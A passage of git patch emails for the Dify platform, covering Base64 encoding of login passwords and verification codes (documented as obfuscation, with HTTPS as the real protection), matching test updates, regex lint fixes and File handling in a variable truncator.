150 ++++++++++++++++++ docker/.env.example | 2 +- web/app/signin/check-code/page.tsx | 3 +- .../components/mail-and-password-auth.tsx | 3 +- web/docker/entrypoint.sh | 1 + web/package.json | 2 +- web/utils/encryption.ts | 46 ++++++ 14 files changed, 417 insertions(+), 24 deletions(-) create mode 100644 api/libs/encryption.py create mode 100644 api/tests/unit_tests/libs/test_encryption.py create mode 100644 web/utils/encryption.ts diff --git a/api/.env.example b/api/.env.example index ace4c4ea1b..4806429972 100644 --- a/api/.env.example +++ b/api/.env.example @@ -670,4 +670,4 @@ ANNOTATION_IMPORT_MIN_RECORDS=1 ANNOTATION_IMPORT_RATE_LIMIT_PER_MINUTE=5 ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20 # Maximum number of concurrent annotation import tasks per tenant -ANNOTATION_IMPORT_MAX_CONCURRENT=5 \ No newline at end of file +ANNOTATION_IMPORT_MAX_CONCURRENT=5 diff --git a/api/controllers/console/auth/login.py b/api/controllers/console/auth/login.py index f486f4c313..772d98822e 100644 --- a/api/controllers/console/auth/login.py +++ b/api/controllers/console/auth/login.py @@ -22,7 +22,12 @@ from controllers.console.error import ( NotAllowedCreateWorkspace, WorkspacesLimitExceeded, ) -from controllers.console.wraps import email_password_login_enabled, setup_required +from controllers.console.wraps import ( + decrypt_code_field, + decrypt_password_field, + email_password_login_enabled, + setup_required, +) from events.tenant_event import tenant_was_created from libs.helper import EmailStr, extract_remote_ip from libs.login import current_account_with_tenant @@ -79,6 +84,7 @@ class LoginApi(Resource): @setup_required @email_password_login_enabled @console_ns.expect(console_ns.models[LoginPayload.__name__]) + @decrypt_password_field def post(self): """Authenticate user and login.""" args = LoginPayload.model_validate(console_ns.payload) @@ -218,6 +224,7 @@ class EmailCodeLoginSendEmailApi(Resource): class EmailCodeLoginApi(Resource): @setup_required @console_ns.expect(console_ns.models[EmailCodeLoginPayload.__name__]) + @decrypt_code_field def post(self): args = EmailCodeLoginPayload.model_validate(console_ns.payload) diff --git a/api/controllers/console/wraps.py b/api/controllers/console/wraps.py index 4654650c77..95fc006a12 100644 --- a/api/controllers/console/wraps.py +++ b/api/controllers/console/wraps.py @@ -9,10 +9,12 @@ from typing import ParamSpec, TypeVar from flask import abort, request from configs import dify_config +from controllers.console.auth.error import AuthenticationFailedError, EmailCodeError from controllers.console.workspace.error import AccountNotInitializedError from enums.cloud_plan import CloudPlan from extensions.ext_database import db from extensions.ext_redis import redis_client +from libs.encryption import FieldEncryption from libs.login import current_account_with_tenant from models.account import AccountStatus from models.dataset import RateLimitLog @@ -25,6 +27,14 @@ from .error import NotInitValidateError, NotSetupError, UnauthorizedAndForceLogo P = ParamSpec("P") R = TypeVar("R") +# Field names for decryption +FIELD_NAME_PASSWORD = "password" +FIELD_NAME_CODE = "code" + +# Error messages for decryption failures +ERROR_MSG_INVALID_ENCRYPTED_DATA = "Invalid encrypted data" +ERROR_MSG_INVALID_ENCRYPTED_CODE = "Invalid encrypted code" + def account_initialization_required(view: Callable[P, R]): @wraps(view) @@ -419,3 +429,75 @@ def annotation_import_concurrency_limit(view: Callable[P, R]): return view(*args, **kwargs) return decorated + + +def _decrypt_field(field_name: str, error_class: type[Exception], error_message: str) -> None: + """ + Helper to decode a Base64 encoded field in the request payload. + + Args: + field_name: Name of the field to decode + error_class: Exception class to raise on decoding failure + error_message: Error message to include in the exception + """ + if not request or not request.is_json: + return + # Get the payload dict - it's cached and mutable + payload = request.get_json() + if not payload or field_name not in payload: + return + encoded_value = payload[field_name] + decoded_value = FieldEncryption.decrypt_field(encoded_value) + + # If decoding failed, raise error immediately + if decoded_value is None: + raise error_class(error_message) + + # Update payload dict in-place with decoded value + # Since payload is a mutable dict and get_json() returns the cached reference, + # modifying it will affect all subsequent accesses including console_ns.payload + payload[field_name] = decoded_value + + +def decrypt_password_field(view: Callable[P, R]): + """ + Decorator to decrypt password field in request payload. + + Automatically decrypts the 'password' field if encryption is enabled. + If decryption fails, raises AuthenticationFailedError. + + Usage: + @decrypt_password_field + def post(self): + args = LoginPayload.model_validate(console_ns.payload) + # args.password is now decrypted + """ + + @wraps(view) + def decorated(*args: P.args, **kwargs: P.kwargs): + _decrypt_field(FIELD_NAME_PASSWORD, AuthenticationFailedError, ERROR_MSG_INVALID_ENCRYPTED_DATA) + return view(*args, **kwargs) + + return decorated + + +def decrypt_code_field(view: Callable[P, R]): + """ + Decorator to decrypt verification code field in request payload. + + Automatically decrypts the 'code' field if encryption is enabled. + If decryption fails, raises EmailCodeError. + + Usage: + @decrypt_code_field + def post(self): + args = EmailCodeLoginPayload.model_validate(console_ns.payload) + # args.code is now decrypted + """ + + @wraps(view) + def decorated(*args: P.args, **kwargs: P.kwargs): + _decrypt_field(FIELD_NAME_CODE, EmailCodeError, ERROR_MSG_INVALID_ENCRYPTED_CODE) + return view(*args, **kwargs) + + return decorated diff --git a/api/libs/encryption.py b/api/libs/encryption.py new file mode 100644 index 0000000000..81be8cce97 --- /dev/null +++ b/api/libs/encryption.py @@ -0,0 +1,66 @@ +""" +Field Encoding/Decoding Utilities + +Provides Base64 decoding for sensitive fields (password, verification code) +received from the frontend. + +Note: This uses Base64 encoding for obfuscation, not cryptographic encryption. +Real security relies on HTTPS for transport layer encryption. +""" + +import base64 +import logging + +logger = logging.getLogger(__name__) + + +class FieldEncryption: + """Handle decoding of sensitive fields during transmission""" + + @classmethod + def decrypt_field(cls, encoded_text: str) -> str | None: + """ + Decode Base64 encoded field from frontend. + + Args: + encoded_text: Base64 encoded text from frontend + + Returns: + Decoded plaintext, or None if decoding fails + """ + try: + # Decode base64 + decoded_bytes = base64.b64decode(encoded_text) + decoded_text = decoded_bytes.decode("utf-8") + logger.debug("Field decoding successful") + return decoded_text + + except Exception: + # Decoding failed - return None to trigger error in caller + return None + + @classmethod + def decrypt_password(cls, encrypted_password: str) -> str | None: + """ + Decrypt password field + + Args: + encrypted_password: Encrypted password from frontend + + Returns: + Decrypted password or None if decryption fails + """ + return cls.decrypt_field(encrypted_password) + + @classmethod + def decrypt_verification_code(cls, encrypted_code: str) -> str | None: + """ + Decrypt verification code field + + Args: + encrypted_code: Encrypted code from frontend + + Returns: + Decrypted code or None if decryption fails + """ + return cls.decrypt_field(encrypted_code) diff --git a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py index b6697ac5d4..eb21920117 100644 --- a/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py +++ b/api/tests/unit_tests/controllers/console/auth/test_authentication_security.py @@ -1,5 +1,6 @@ """Test authentication security to prevent user enumeration.""" +import base64 from unittest.mock import MagicMock, patch import pytest @@ -11,6 +12,11 @@ from controllers.console.auth.error import AuthenticationFailedError from controllers.console.auth.login import LoginApi +def encode_password(password: str) -> str: + """Helper to encode password as Base64 for testing.""" + return base64.b64encode(password.encode("utf-8")).decode() + + class TestAuthenticationSecurity: """Test authentication endpoints for security against user enumeration.""" @@ -42,7 +48,9 @@ class TestAuthenticationSecurity: # Act with self.app.test_request_context( - "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"} + "/login", + method="POST", + json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")}, ): login_api = LoginApi() @@ -72,7 +80,9 @@ class TestAuthenticationSecurity: # Act with self.app.test_request_context( - "/login", method="POST", json={"email": "existing@example.com", "password": "WrongPass123!"} + "/login", + method="POST", + json={"email": "existing@example.com", "password": encode_password("WrongPass123!")}, ): login_api = LoginApi() @@ -104,7 +114,9 @@ class TestAuthenticationSecurity: # Act with self.app.test_request_context( - "/login", method="POST", json={"email": "nonexistent@example.com", "password": "WrongPass123!"} + "/login", + method="POST", + json={"email": "nonexistent@example.com", "password": encode_password("WrongPass123!")}, ): login_api = LoginApi() diff --git a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py index a44f518171..9929a71120 100644 --- a/api/tests/unit_tests/controllers/console/auth/test_email_verification.py +++ b/api/tests/unit_tests/controllers/console/auth/test_email_verification.py @@ -8,6 +8,7 @@ This module tests the email code login mechanism including: - Workspace creation for new users """ +import base64 from unittest.mock import MagicMock, patch import pytest @@ -25,6 +26,11 @@ from controllers.console.error import ( from services.errors.account import AccountRegisterError +def encode_code(code: str) -> str: + """Helper to encode verification code as Base64 for testing.""" + return base64.b64encode(code.encode("utf-8")).decode() + + class TestEmailCodeLoginSendEmailApi: """Test cases for sending email verification codes.""" @@ -290,7 +296,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "test@example.com", "code": "123456", "token": "valid_token"}, + json={"email": "test@example.com", "code": encode_code("123456"), "token": "valid_token"}, ): api = EmailCodeLoginApi() response = api.post() @@ -339,7 +345,12 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "newuser@example.com", "code": "123456", "token": "valid_token", "language": "en-US"}, + json={ + "email": "newuser@example.com", + "code": encode_code("123456"), + "token": "valid_token", + "language": "en-US", + }, ): api = EmailCodeLoginApi() response = api.post() @@ -365,7 +376,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "test@example.com", "code": "123456", "token": "invalid_token"}, + json={"email": "test@example.com", "code": encode_code("123456"), "token": "invalid_token"}, ): api = EmailCodeLoginApi() with pytest.raises(InvalidTokenError): @@ -388,7 +399,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "different@example.com", "code": "123456", "token": "token"}, + json={"email": "different@example.com", "code": encode_code("123456"), "token": "token"}, ): api = EmailCodeLoginApi() with pytest.raises(InvalidEmailError): @@ -411,7 +422,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "test@example.com", "code": "wrong_code", "token": "token"}, + json={"email": "test@example.com", "code": encode_code("wrong_code"), "token": "token"}, ): api = EmailCodeLoginApi() with pytest.raises(EmailCodeError): @@ -497,7 +508,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "test@example.com", "code": "123456", "token": "token"}, + json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"}, ): api = EmailCodeLoginApi() with pytest.raises(WorkspacesLimitExceeded): @@ -539,7 +550,7 @@ class TestEmailCodeLoginApi: with app.test_request_context( "/email-code-login/validity", method="POST", - json={"email": "test@example.com", "code": "123456", "token": "token"}, + json={"email": "test@example.com", "code": encode_code("123456"), "token": "token"}, ): api = EmailCodeLoginApi() with pytest.raises(NotAllowedCreateWorkspace): diff --git a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py index 8799d6484d..3a2cf7bad7 100644 --- a/api/tests/unit_tests/controllers/console/auth/test_login_logout.py +++ b/api/tests/unit_tests/controllers/console/auth/test_login_logout.py @@ -8,6 +8,7 @@ This module tests the core authentication endpoints including: - Account status validation """ +import base64 from unittest.mock import MagicMock, patch import pytest @@ -28,6 +29,11 @@ from controllers.console.error import ( from services.errors.account import AccountLoginError, AccountPasswordError +def encode_password(password: str) -> str: + """Helper to encode password as Base64 for testing.""" + return base64.b64encode(password.encode("utf-8")).decode() + + class TestLoginApi: """Test cases for the LoginApi endpoint.""" @@ -106,7 +112,9 @@ class TestLoginApi: # Act with app.test_request_context( - "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"} + "/login", + method="POST", + json={"email": "test@example.com", "password": encode_password("ValidPass123!")}, ): login_api = LoginApi() response = login_api.post() @@ -158,7 +166,11 @@ class TestLoginApi: with app.test_request_context( "/login", method="POST", - json={"email": "test@example.com", "password": "ValidPass123!", "invite_token": "valid_token"}, + json={ + "email": "test@example.com", + "password": encode_password("ValidPass123!"), + "invite_token": "valid_token", + }, ): login_api = LoginApi() response = login_api.post() @@ -186,7 +198,7 @@ class TestLoginApi: # Act & Assert with app.test_request_context( - "/login", method="POST", json={"email": "test@example.com", "password": "password"} + "/login", method="POST", json={"email": "test@example.com", "password": encode_password("password")} ): login_api = LoginApi() with pytest.raises(EmailPasswordLoginLimitError): @@ -209,7 +221,7 @@ class TestLoginApi: # Act & Assert with app.test_request_context( - "/login", method="POST", json={"email": "frozen@example.com", "password": "password"} + "/login", method="POST", json={"email": "frozen@example.com", "password": encode_password("password")} ): login_api = LoginApi() with pytest.raises(AccountInFreezeError): @@ -246,7 +258,7 @@ class TestLoginApi: # Act & Assert with app.test_request_context( - "/login", method="POST", json={"email": "test@example.com", "password": "WrongPass123!"} + "/login", method="POST", json={"email": "test@example.com", "password": encode_password("WrongPass123!")} ): login_api = LoginApi() with pytest.raises(AuthenticationFailedError): @@ -277,7 +289,7 @@ class TestLoginApi: # Act & Assert with app.test_request_context( - "/login", method="POST", json={"email": "banned@example.com", "password": "ValidPass123!"} + "/login", method="POST", json={"email": "banned@example.com", "password": encode_password("ValidPass123!")} ): login_api = LoginApi() with pytest.raises(AccountBannedError): @@ -322,7 +334,7 @@ class TestLoginApi: # Act & Assert with app.test_request_context( - "/login", method="POST", json={"email": "test@example.com", "password": "ValidPass123!"} + "/login", method="POST", json={"email": "test@example.com", "password": encode_password("ValidPass123!")} ): login_api = LoginApi() with pytest.raises(WorkspacesLimitExceeded): @@ -349,7 +361,11 @@ class TestLoginApi: with app.test_request_context( "/login", method="POST", - json={"email": "different@example.com", "password": "ValidPass123!", "invite_token": "token"}, + json={ + "email": "different@example.com", + "password": encode_password("ValidPass123!"), + "invite_token": "token", + }, ): login_api = LoginApi() with pytest.raises(InvalidEmailError): diff --git a/api/tests/unit_tests/libs/test_encryption.py b/api/tests/unit_tests/libs/test_encryption.py new file mode 100644 index 0000000000..bf013c4bae --- /dev/null +++ b/api/tests/unit_tests/libs/test_encryption.py @@ -0,0 +1,150 @@ +""" +Unit tests for field encoding/decoding utilities. + +These tests verify Base64 encoding/decoding functionality and +proper error handling and fallback behavior. +""" + +import base64 + +from libs.encryption import FieldEncryption + + +class TestDecodeField: + """Test cases for field decoding functionality.""" + + def test_decode_valid_base64(self): + """Test decoding a valid Base64 encoded string.""" + plaintext = "password123" + encoded = base64.b64encode(plaintext.encode("utf-8")).decode() + + result = FieldEncryption.decrypt_field(encoded) + assert result == plaintext + + def test_decode_non_base64_returns_none(self): + """Test that non-base64 input returns None.""" + non_base64 = "plain-password-!@#" + result = FieldEncryption.decrypt_field(non_base64) + # Should return None (decoding failed) + assert result is None + + def test_decode_unicode_text(self): + """Test decoding Base64 encoded Unicode text.""" + plaintext = "密码Test123" + encoded = base64.b64encode(plaintext.encode("utf-8")).decode() + + result = FieldEncryption.decrypt_field(encoded) + assert result == plaintext + + def test_decode_empty_string(self): + """Test decoding an empty string returns empty string.""" + result = FieldEncryption.decrypt_field("") + # Empty string base64 decodes to empty string + assert result == "" + + def test_decode_special_characters(self): + """Test decoding with special characters.""" + plaintext = "P@ssw0rd!#$%^&*()" + encoded = base64.b64encode(plaintext.encode("utf-8")).decode() + + result = FieldEncryption.decrypt_field(encoded) + assert result == plaintext + + +class TestDecodePassword: + """Test cases for password decoding.""" + + def test_decode_password_base64(self): + """Test decoding a Base64 encoded password.""" + password = "SecureP@ssw0rd!" + encoded = base64.b64encode(password.encode("utf-8")).decode() + + result = FieldEncryption.decrypt_password(encoded) + assert result == password + + def test_decode_password_invalid_returns_none(self): + """Test that invalid base64 passwords return None.""" + invalid = "PlainPassword!@#" + result = FieldEncryption.decrypt_password(invalid) + # Should return None (decoding failed) + assert result is None + + +class TestDecodeVerificationCode: + """Test cases for verification code decoding.""" + + def test_decode_code_base64(self): + """Test decoding a Base64 encoded verification code.""" + code = "789012" + encoded = base64.b64encode(code.encode("utf-8")).decode() + + result = FieldEncryption.decrypt_verification_code(encoded) + assert result == code + + def test_decode_code_invalid_returns_none(self): + """Test that invalid base64 codes return None.""" + invalid = "123456" # Plain 6-digit code, not base64 + result = FieldEncryption.decrypt_verification_code(invalid) + # Should return None (decoding failed) + assert result is None + + +class TestRoundTripEncodingDecoding: + """ + Integration tests for complete encoding-decoding cycle. + These tests simulate the full frontend-to-backend flow using Base64. + """ + + def test_roundtrip_password(self): + """Test encoding and decoding a password.""" + original_password = "SecureP@ssw0rd!" + + # Simulate frontend encoding (Base64) + encoded = base64.b64encode(original_password.encode("utf-8")).decode() + + # Backend decoding + decoded = FieldEncryption.decrypt_password(encoded) + + assert decoded == original_password + + def test_roundtrip_verification_code(self): + """Test encoding and decoding a verification code.""" + original_code = "123456" + + # Simulate frontend encoding + encoded = base64.b64encode(original_code.encode("utf-8")).decode() + + # Backend decoding + decoded = FieldEncryption.decrypt_verification_code(encoded) + + assert decoded == original_code + + def test_roundtrip_unicode_password(self): + """Test encoding and decoding password with Unicode characters.""" + original_password = "密码Test123!@#" + + # Frontend encoding + encoded = base64.b64encode(original_password.encode("utf-8")).decode() + + # Backend decoding + decoded = FieldEncryption.decrypt_password(encoded) + + assert decoded == original_password + + def test_roundtrip_long_password(self): + """Test encoding and decoding a long password.""" + original_password = "ThisIsAVeryLongPasswordWithLotsOfCharacters123!@#$%^&*()" + + encoded = base64.b64encode(original_password.encode("utf-8")).decode() + decoded = FieldEncryption.decrypt_password(encoded) + + assert decoded == original_password + + def test_roundtrip_with_whitespace(self): + """Test encoding and decoding with whitespace.""" + original_password = "pass word with spaces" + + encoded = base64.b64encode(original_password.encode("utf-8")).decode() + decoded = FieldEncryption.decrypt_field(encoded) + + assert decoded == original_password diff --git a/docker/.env.example b/docker/.env.example index 3317fb3d9c..94b9d180b0 100644 --- a/docker/.env.example +++ b/docker/.env.example @@ -1460,4 +1460,4 @@ ANNOTATION_IMPORT_RATE_LIMIT_PER_HOUR=20 ANNOTATION_IMPORT_MAX_CONCURRENT=5 # The API key of amplitude -AMPLITUDE_API_KEY= +AMPLITUDE_API_KEY= \ No newline at end of file diff --git a/web/app/signin/check-code/page.tsx b/web/app/signin/check-code/page.tsx index 4af2bdd1cc..36c3c67a58 100644 --- a/web/app/signin/check-code/page.tsx +++ b/web/app/signin/check-code/page.tsx @@ -12,6 +12,7 @@ import { emailLoginWithCode, sendEMailLoginCode } from '@/service/common' import I18NContext from '@/context/i18n' import { resolvePostLoginRedirect } from '../utils/post-login-redirect' import { trackEvent } from '@/app/components/base/amplitude' +import { encryptVerificationCode } from '@/utils/encryption' export default function CheckCode() { const { t, i18n } = useTranslation() @@ -43,7 +44,7 @@ export default function CheckCode() { return } setIsLoading(true) - const ret = await emailLoginWithCode({ email, code, token, language }) + const ret = await emailLoginWithCode({ email, code: encryptVerificationCode(code), token, language }) if (ret.result === 'success') { // Track login success event trackEvent('user_login_success', { diff --git a/web/app/signin/components/mail-and-password-auth.tsx b/web/app/signin/components/mail-and-password-auth.tsx index ba37087719..27c37e3e26 100644 --- a/web/app/signin/components/mail-and-password-auth.tsx +++ b/web/app/signin/components/mail-and-password-auth.tsx @@ -13,6 +13,7 @@ import { noop } from 'lodash-es' import { resolvePostLoginRedirect } from '../utils/post-login-redirect' import type { ResponseError } from '@/service/fetch' import { trackEvent } from '@/app/components/base/amplitude' +import { encryptPassword } from '@/utils/encryption' type MailAndPasswordAuthProps = { isInvite: boolean @@ -53,7 +54,7 @@ export default function MailAndPasswordAuth({ isInvite, isEmailSetup, allowRegis setIsLoading(true) const loginData: Record = { email, - password, + password: encryptPassword(password), language: locale, remember_me: true, } diff --git a/web/docker/entrypoint.sh b/web/docker/entrypoint.sh index 565c906624..7e1aca680b 100755 --- a/web/docker/entrypoint.sh +++ b/web/docker/entrypoint.sh @@ -42,4 +42,5 @@ export NEXT_PUBLIC_LOOP_NODE_MAX_COUNT=${LOOP_NODE_MAX_COUNT} export NEXT_PUBLIC_MAX_PARALLEL_LIMIT=${MAX_PARALLEL_LIMIT} export NEXT_PUBLIC_MAX_ITERATIONS_NUM=${MAX_ITERATIONS_NUM} export NEXT_PUBLIC_MAX_TREE_DEPTH=${MAX_TREE_DEPTH} + pm2 start /app/web/server.js --name dify-web --cwd /app/web -i ${PM2_INSTANCES} --no-daemon diff --git a/web/package.json b/web/package.json index a3a4391d1e..c5dbf0a07d 100644 --- a/web/package.json +++ b/web/package.json @@ -288,4 +288,4 @@ "sharp" ] } -} +} \ No newline at end of file diff --git a/web/utils/encryption.ts b/web/utils/encryption.ts new file mode 100644 index 0000000000..f96d8d02ac --- /dev/null +++ b/web/utils/encryption.ts @@ -0,0 +1,46 @@ +/** + * Field Encoding Utilities + * Provides Base64 encoding for sensitive fields (password, verification code) + * during transmission from frontend to backend. + * + * Note: This uses Base64 encoding for obfuscation, not cryptographic encryption. + * Real security relies on HTTPS for transport layer encryption. + */ + +/** + * Encode sensitive field using Base64 + * @param plaintext - The plain text to encode + * @returns Base64 encoded text + */ +export function encryptField(plaintext: string): string { + try { + // Base64 encode the plaintext + // btoa works with ASCII, so we need to handle UTF-8 properly + const utf8Bytes = new TextEncoder().encode(plaintext) + const base64 = btoa(String.fromCharCode(...utf8Bytes)) + return base64 + } + catch (error) { + console.error('Field encoding failed:', error) + // If encoding fails, throw error to prevent sending plaintext + throw new Error('Encoding failed. Please check your input.') + } +} + +/** + * Encrypt password field for login + * @param password - Plain password + * @returns Encrypted password or original if encryption disabled + */ +export function encryptPassword(password: string): string { + return encryptField(password) +} + +/** + * Encrypt verification code for email code login + * @param code - Plain verification code + * @returns Encrypted code or original if encryption disabled + */ +export function encryptVerificationCode(code: string): string { + return encryptField(code) +} From c2f2be6b086f0a15eab8961fcddc53cb353d10a5 Mon Sep 17 00:00:00 2001 From: Angel98518 Date: Tue, 16 Dec 2025 18:00:04 +0800 Subject: [PATCH 32/38] fix: oxlint no unused expressions (#29675) Co-authored-by: daniel --- web/app/components/billing/plan-upgrade-modal/index.tsx | 5 ++++- web/app/components/plugins/install-plugin/utils.ts | 3 ++- .../components/editor/code-editor/editor-support-vars.tsx | 3 ++- .../nodes/_base/components/support-var-input/index.tsx | 3 ++- web/app/components/workflow/nodes/code/code-parser.ts | 2 +- .../components/workflow/nodes/http/components/curl-panel.tsx | 3 ++- web/app/components/workflow/nodes/trigger-webhook/types.ts | 3 ++- web/app/components/workflow/utils/node.ts | 2 +- 8 files changed, 16 insertions(+), 8 deletions(-) diff --git a/web/app/components/billing/plan-upgrade-modal/index.tsx b/web/app/components/billing/plan-upgrade-modal/index.tsx index 4f5d1ed3a6..f7e19b7621 100644 --- a/web/app/components/billing/plan-upgrade-modal/index.tsx +++ b/web/app/components/billing/plan-upgrade-modal/index.tsx @@ -33,7 +33,10 @@ const PlanUpgradeModal: FC = ({ const handleUpgrade = useCallback(() => { onClose() - onUpgrade ? onUpgrade() : setShowPricingModal() + if (onUpgrade) + onUpgrade() + else + setShowPricingModal() }, [onClose, onUpgrade, setShowPricingModal]) return ( diff --git a/web/app/components/plugins/install-plugin/utils.ts b/web/app/components/plugins/install-plugin/utils.ts index afbe0f18af..32d3e54225 100644 --- a/web/app/components/plugins/install-plugin/utils.ts +++ b/web/app/components/plugins/install-plugin/utils.ts @@ -61,7 +61,8 @@ export const pluginManifestInMarketToPluginProps = (pluginManifest: PluginManife } export const parseGitHubUrl = (url: string): GitHubUrlInfo => { - const match = url.match(/^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/) + const githubUrlRegex = /^https:\/\/github\.com\/([^/]+)\/([^/]+)\/?$/ + const match = githubUrlRegex.exec(url) return match ? { isValid: true, owner: match[1], repo: match[2] } : { isValid: false } } diff --git a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx index abc7d8dbc4..68b6e53064 100644 --- a/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx +++ b/web/app/components/workflow/nodes/_base/components/editor/code-editor/editor-support-vars.tsx @@ -84,7 +84,8 @@ const CodeEditor: FC = ({ const getUniqVarName = (varName: string) => { if (varList.find(v => v.variable === varName)) { - const match = varName.match(/_(\d+)$/) + const varNameRegex = /_(\d+)$/ + const match = varNameRegex.exec(varName) const index = (() => { if (match) diff --git a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx index 3be1262e14..47d80c109f 100644 --- a/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx +++ b/web/app/components/workflow/nodes/_base/components/support-var-input/index.tsx @@ -25,7 +25,8 @@ const SupportVarInput: FC = ({ const renderSafeContent = (inputValue: string) => { const parts = inputValue.split(/(\{\{[^}]+\}\}|\n)/g) return parts.map((part, index) => { - const variableMatch = part.match(/^\{\{([^}]+)\}\}$/) + const variableRegex = /^\{\{([^}]+)\}\}$/ + const variableMatch = variableRegex.exec(part) if (variableMatch) { return ( { [CodeLanguage.python3]: /def\s+main\s*\((.*?)\)/, [CodeLanguage.javascript]: /function\s+main\s*\((.*?)\)/, } - const match = code.match(patterns[language]) + const match = patterns[language].exec(code) const params: string[] = [] if (match?.[1]) { diff --git a/web/app/components/workflow/nodes/http/components/curl-panel.tsx b/web/app/components/workflow/nodes/http/components/curl-panel.tsx index a5339a1f39..4b9ee56f85 100644 --- a/web/app/components/workflow/nodes/http/components/curl-panel.tsx +++ b/web/app/components/workflow/nodes/http/components/curl-panel.tsx @@ -75,7 +75,8 @@ const parseCurl = (curlCommand: string): { node: HttpNodeType | null; error: str // To support command like `curl -F "file=@/path/to/file;type=application/zip"` // the `;type=application/zip` should translate to `Content-Type: application/zip` - const typeMatch = value.match(/^(.+?);type=(.+)$/) + const typeRegex = /^(.+?);type=(.+)$/ + const typeMatch = typeRegex.exec(value) if (typeMatch) { const [, actualValue, mimeType] = typeMatch value = actualValue diff --git a/web/app/components/workflow/nodes/trigger-webhook/types.ts b/web/app/components/workflow/nodes/trigger-webhook/types.ts index d9632f20e1..90cfd40434 100644 --- a/web/app/components/workflow/nodes/trigger-webhook/types.ts +++ b/web/app/components/workflow/nodes/trigger-webhook/types.ts @@ -5,7 +5,8 @@ export type HttpMethod = 'GET' | 'POST' | 'PUT' | 'DELETE' | 'PATCH' | 'HEAD' export type ArrayElementType = 'string' | 'number' | 'boolean' | 'object' export const getArrayElementType = (arrayType: `array[${ArrayElementType}]`): ArrayElementType => { - const match = arrayType.match(/^array\[(.+)\]$/) + const arrayRegex = /^array\[(.+)\]$/ + const match = arrayRegex.exec(arrayType) return (match?.[1] as ArrayElementType) || 'string' } diff --git a/web/app/components/workflow/utils/node.ts b/web/app/components/workflow/utils/node.ts index 726908bff1..97ca7553e8 100644 --- a/web/app/components/workflow/utils/node.ts +++ b/web/app/components/workflow/utils/node.ts @@ -105,7 +105,7 @@ export function getLoopStartNode(loopId: string): Node { export const genNewNodeTitleFromOld = (oldTitle: string) => { const regex = /^(.+?)\s*\((\d+)\)\s*$/ - const match = oldTitle.match(regex) + const match = regex.exec(oldTitle) if (match) { const title = match[1] From dda7eb03c90ae60ee39aa49c961f46f57a63de8f Mon Sep 17 00:00:00 2001 From: wangxiaolei Date: Wed, 17 Dec 2025 07:10:43 +0800 Subject: [PATCH 33/38] feat: _truncate_json_primitives support file (#29760) --- api/services/variable_truncator.py | 8 ++- .../services/test_variable_truncator.py | 49 +++++++++++++++++++ 2 files changed, 56 insertions(+), 1 deletion(-) diff --git a/api/services/variable_truncator.py b/api/services/variable_truncator.py index 6eb8d0031d..0f969207cf 100644 --- a/api/services/variable_truncator.py +++ b/api/services/variable_truncator.py @@ -410,9 +410,12 @@ class VariableTruncator(BaseTruncator): @overload def _truncate_json_primitives(self, val: None, target_size: int) -> _PartResult[None]: ... + @overload + def _truncate_json_primitives(self, val: File, target_size: int) -> _PartResult[File]: ... + def _truncate_json_primitives( self, - val: UpdatedVariable | str | list[object] | dict[str, object] | bool | int | float | None, + val: UpdatedVariable | File | str | list[object] | dict[str, object] | bool | int | float | None, target_size: int, ) -> _PartResult[Any]: """Truncate a value within an object to fit within budget.""" @@ -425,6 +428,9 @@ class VariableTruncator(BaseTruncator): return self._truncate_array(val, target_size) elif isinstance(val, dict): return self._truncate_object(val, target_size) + elif isinstance(val, File): + # File objects should not be truncated, return as-is + return _PartResult(val, self.calculate_json_size(val), False) elif val is None or isinstance(val, (bool, int, float)): return _PartResult(val, self.calculate_json_size(val), False) else: diff --git a/api/tests/unit_tests/services/test_variable_truncator.py b/api/tests/unit_tests/services/test_variable_truncator.py index cf6fb25c1c..ec819ae57a 100644 --- a/api/tests/unit_tests/services/test_variable_truncator.py +++ b/api/tests/unit_tests/services/test_variable_truncator.py @@ -518,6 +518,55 @@ class TestEdgeCases: assert isinstance(result.result, StringSegment) +class TestTruncateJsonPrimitives: + """Test _truncate_json_primitives method with different data types.""" + + @pytest.fixture + def truncator(self): + return VariableTruncator() + + def test_truncate_json_primitives_file_type(self, truncator, file): + """Test that File objects are handled correctly in _truncate_json_primitives.""" + # Test File object is returned as-is without truncation + result = truncator._truncate_json_primitives(file, 1000) + + assert result.value == file + assert result.truncated is False + # Size should be calculated correctly + expected_size = VariableTruncator.calculate_json_size(file) + assert result.value_size == expected_size + + def test_truncate_json_primitives_file_type_small_budget(self, truncator, file): + """Test that File objects are returned as-is even with small budget.""" + # Even with a small size budget, File objects should not be truncated + result = truncator._truncate_json_primitives(file, 10) + + assert result.value == file + assert result.truncated is False + + def test_truncate_json_primitives_file_type_in_array(self, truncator, file): + """Test File objects in arrays are handled correctly.""" + array_with_files = [file, file] + result = truncator._truncate_json_primitives(array_with_files, 1000) + + assert isinstance(result.value, list) + assert len(result.value) == 2 + assert result.value[0] == file + assert result.value[1] == file + assert result.truncated is False + + def test_truncate_json_primitives_file_type_in_object(self, truncator, file): + """Test File objects in objects are handled 